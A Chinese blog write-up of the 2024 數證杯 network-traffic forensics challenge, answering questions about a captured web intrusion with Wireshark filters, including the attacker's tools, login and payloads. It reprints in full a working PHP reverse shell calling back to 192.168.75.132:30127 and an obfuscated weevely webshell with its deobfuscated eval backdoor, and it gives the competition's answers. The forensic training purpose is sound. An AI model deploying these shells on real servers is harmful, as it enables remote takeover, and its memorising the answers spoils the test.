數證杯2024-網路流量分析

lpppp小公主發表於2024-12-04

數證杯2024-網路流量分析

學習:2024數證杯初賽 - WXjzc - 部落格園

1. [填空題]分析網路流量包檢材,寫出抓取該流量包時所花費的秒數?(填寫數字,答案格式:10) (2分)

思路:

統計 --> 捕獲檔案屬性

image-20241129233604-t5o7ved

答案:3504

2. [填空題]分析網路流量包檢材,抓取該流量包時使用計算機作業系統的build版本是多少?(答案格式:10D32) (2分)

思路:

跟第一問一樣

image-20241129233703-bufjml4

答案:23F79

3. [填空題]分析網路流量包檢材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)

思路:

統計 --> 會話 --> ipv4,發現 192.168.75.131 可疑,分析一下這個 ip 的流量包,也能發現

image-20241129234323-5mmfzbc

答案:192.168.75.131

4. [填空題]分析網路流量包檢材,受害者所使用的作業系統是?(小寫字母,答案格式:biwu) (2分)

思路:

過濾 http 流,翻一下流量包就能發現

image-20241130002919-i20ksyn

答案:ubuntu

5. [填空題]分析網路流量包檢材,攻擊者使用的埠掃描工具是?(小寫字母,答案格式:abc) (2分)

思路:

跟上面一樣過濾 http 流量,翻一下前面的流量,就能發現 nmap

image-20241130003317-zi6hggp

答案:nmap

6. [填空題]分析網路流量包檢材,攻擊者使用的漏洞檢測工具的版本號是?(答案格式:1.1.1) (2分)

思路:

過濾 http 流量分析後面的流量包能發現使用了 Wfuzz,Wfuzz能夠透過發現並利用網站弱點/漏洞的方式,然後就能確定版本號

image-20241130003849-wsrong4

image-20241130003936-whsfaq1

答案:3.1.0

7. [填空題]分析網路流量包檢材,攻擊者透過目錄掃描得到的 phpliteadmin 登入點是?(答案格式:/abc/abc.php) (2分)

思路:

一般的登入方式都是 POST,那我們過濾一下就好,然後追蹤一下流,就能發現登入成功
http.request.method == POST

image-20241203011201-yuebyxc

image-20241203011301-rgisw43

答案:/dbadmin/test_db.php

8. [填空題]分析網路流量包檢材,攻擊者成功登入到 phpliteadmin 時使用的密碼是?(答案格式:按實際值填寫) (2分)

思路:

我們知道登入的 url 為 /dbadmin/test_db.php,那我們先過濾一下
http.request.uri.path == "/dbadmin/test_db.php"

image-20241203012417-j2ru11u

然後網上翻一下流量包發現

image-20241203012355-xovdbxm

答案:admin

9. [填空題]分析網路流量包檢材,攻擊者建立的 phpinfo 頁面檔名是?(答案格式:abc.txt) (4分)

思路:

在第8 題過濾時候,就能翻到一個 demo.php ,直接在匯出 http 物件,將字尾改成 .html 就能發現是一個 phpinfo

image-20241203090926-b4z6dzo

image-20241203092547-dingu8j

直接搜尋也能發現 phpinfo() 

image-20241203092751-y86hqd2

image-20241203092819-8au6evz

答案:demo.php

10. [填空題]分析網路流量包檢材,攻擊者利用伺服器漏洞從攻擊機上下載的 payload 檔名是?(答案格式:abc.txt) (4分)

思路:

我們一直往下分析可以看到 wget 下載了一個 rev.txt

image-20241203093522-0ze3ypp

答案:rev.txt

11. [填空題]分析網路流量包檢材,攻擊者反彈shell的地址及埠是?(答案格式:192.168.1.1:1234) (4分)

思路:

我們上面找到了 rev.txt,然後搜尋一下找到檔案,可以發現是一個 webshell 

image-20241203094011-7eq2k3l

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
 $pid = pcntl_fork();
 
 if ($pid == -1) {
  printit("ERROR: Can't fork");
  exit(1);
 }
 
 if ($pid) {
  exit(0);  // Parent exits
 }

 // Make the current process a session leader
 // Will only succeed if we forked
 if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
  exit(1);
 }

 $daemon = 1;
} else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
 exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
 exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
 if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
  break;
 }

 if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
  break;
 }

 $read_a = array($sock, $pipes[1], $pipes[2]);
 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 if (in_array($sock, $read_a)) {
  if ($debug) printit("SOCK READ");
  $input = fread($sock, $chunk_size);
  if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }

 if (in_array($pipes[1], $read_a)) {
  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }

 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}

?> 

答案:192.168.75.132:30127

12. [填空題]分析網路流量包檢材,攻擊者電腦所使用的Python版本號是?(答案格式:1.1.1) (2分)

思路:

在get訪問 rev.txt 的時候,從攻擊者電腦訪問的,就能在返回包發現到

image-20241203094218-noapesa

答案:3.11.8

13. [填空題]分析網路流量包檢材,受害者伺服器中網站所使用的框架結構是?(答案格式:thinkphp) (2分)

思路:

我們知道 webshell 的埠是 30127,那我們過濾一下
tcp.port==30127

image-20241203095403-f6iux8s

答案:wordpress

14. [填空題]分析網路流量包檢材,攻擊者獲取到的資料庫密碼是?(答案格式:大小寫按實際值填寫) (4分)

思路:

跟 13 題一樣,接著往下看就行

image-20241203095623-hyu8j5e

15. [填空題]分析網路流量包檢材,攻擊者上傳了一個weevely木馬進行許可權維持,上傳時所使用的埠號為?(答案格式:3306) (2分)

思路:

還是 13 題的超做,接著往下看,可以發現上傳了一個 help.php

image-20241203095809-5oxay6d

答案:2000

16. [填空題]分析網路流量包檢材,攻擊者上傳了一個weevely木馬進行許可權維持,該木馬第一次執行時獲取到的緩衝區內容是?(答案 格式:按實際值填寫)

學習:weevely的webshell分析以及冰蠍/蟻劍免殺-PHP版_兩重明文混淆webshell-CSDN部落格

實戰Webshell管理工具Weevely檢測思路分析_weevely流量分析-CSDN部落格

思路:

可以找到訪問了 help.php,可以發現就是 weevely 木馬,也能驗證上面一步

image-20241203100132-ca4m4wy

<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>

解反混淆,可以發現請求包和返回包都在 cbbf9691e009 和 85a89e92c410 中間,然後根據加密指令碼寫出解密指令碼就行

print("\(p\)kh\(r\)kf");

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
    if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
    }
?>
然後找到執行的第一次執行的資料進行解密即可,解密指令碼是群裡一個師傅的

image-20241203101955-5mpu2c1

import base64
import zlib


def xor_decrypt(data, key):
    key = key.encode('utf-8')
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ key[i % len(key)])
    return bytes(result)


# 金鑰
key = 'c6ae1e70'
kh = 'cbbf9691e009'
kf = '85a89e92c410'
p = 'dzINRguo2g6mkn7y'


def decrypt_data(encrypted_data):
    try:
        # 1. Base64解碼
        print("1. 原始資料:", encrypted_data)
        # 新增必要的填充
        padded_data = encrypted_data + '=' * (-len(encrypted_data) % 4)
        data = base64.b64decode(padded_data)
        print("2. Base64解碼後(hex):", data.hex())

        # 2. XOR解密
        decrypted = xor_decrypt(data, key)
        print("3. XOR解密後(hex):", decrypted.hex())

        # 3. Gzip解壓
        try:
            decompressed = zlib.decompress(decrypted)
            print("4. Gzip解壓後(hex):", decompressed.hex())
            print("5. Gzip解壓後(text):", decompressed.decode('utf-8', errors='ignore'))
        except zlib.error as e:
            print("4. Gzip解壓失敗:", str(e))
            print("4. 解密後的原始資料(hex):", decrypted.hex())
            try:
                print("4. 解密後的原始資料(text):", decrypted.decode('utf-8', errors='ignore'))
            except:
                print("4. 無法解析為文字")
            print("4. 位元組值:", [x for x in decrypted])

        return decrypted
    except Exception as e:
        print(f"解密失敗: {str(e)}")
        import traceback
        traceback.print_exc()
        return None



if __name__ == '__main__':
    # 測試請求資料
    request_raw = 'G6oqKP+t4ABWAVLT4dExMHs6Ylw'
    print("\n=== 請求資料解密 ===")
    decrypt_data(request_raw)

    print("\n=== 響應資料解密 ===")
    response_raw = 'G6pSUAZWgTBjNUtkPw=='
    decrypt_data(response_raw)

image-20241203102042-m1fhln4

答案:57638

php 指令碼

<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
  for($j=0;($j<$c&&$i<$l);$j++,$i++){
    $o.=$t{$i}^$k{$j};
    }
    }
    return $o;
    }
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>

相關文章